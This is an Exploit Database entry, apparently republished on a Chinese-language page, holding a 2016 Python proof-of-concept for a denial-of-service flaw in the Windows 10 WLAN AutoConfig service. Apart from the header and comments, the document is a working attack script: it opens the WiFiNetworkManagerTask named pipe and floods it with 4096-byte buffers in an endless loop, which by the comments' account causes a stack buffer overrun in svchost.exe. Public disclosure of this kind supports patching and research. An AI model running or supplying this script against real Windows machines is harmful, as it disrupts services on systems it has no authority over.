Microsoft Windows 10 (x86/x64) – WLAN AutoConfig Denial of Service (PoC)

• Exploit Database
• 38 阅读

• 作者： Jeremy Brown
  日期： 2016-12-06
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/40883/

• #!/usr/bin/python
  # wlanautoconfig-poc.py
  #
  # Windows WLAN AutoConfig Named Pipe POC
  #
  # Jeremy Brown [jbrown3264/gmail]
  # Dec 2016
  #
  # >	wifinetworkmanager.dll!__FatalError(char const *,unsigned # long,char const *, ...)
  #	AsyncPipe::ReadCompletedCallback(void)
  #	AsyncPipe::Dispatch(int,void *,void *, ...)
  #	Synchronizer::EnqueueEvent(...)
  #	AsyncPipe::ReadCompletedStatic(...)
  #
  # --> STATUS_STACK_BUFFER_OVERRUN @ svchost.exe
  #
  # Tested:
  #
  # Windows 10 x86/x64 BUILD 10.0.14393 (vulnerable)
  # Windows Server 2012 R2 x64 (not vulnerable, service doesn't create pipe)
  #
  # Dependencies:
  #
  # pip install pypiwin32
  #
  # Notes:
  #
  # This won't kill Wlansvc service, but the thread servicing the pipe will terminate
  #
  
  import win32file
  import pywintypes
  import msvcrt
  
  BUF_SIZE = 4096
  PIPE_NAME = r'\\.\pipe\WiFiNetworkManagerTask'
  
  def main():
  try:
  handle = win32file.CreateFile(PIPE_NAME, win32file.GENERIC_WRITE, 0, None, win32file.OPEN_EXISTING, 0, None)
  except Exception:
  print("Error: CreateFile() failed\n")
  return
  
  fd = msvcrt.open_osfhandle(handle, 0)
  
  if(fd < 0):
  print("Error: open_osfhandle() failed\n")
  return
  
  buf = bytearray(b'\x42' * BUF_SIZE)
  
  # exact number here could vary, keeping it simple
  while True:
  win32file.WriteFile(handle, buf)
  
  
  if __name__ == "__main__":
  main()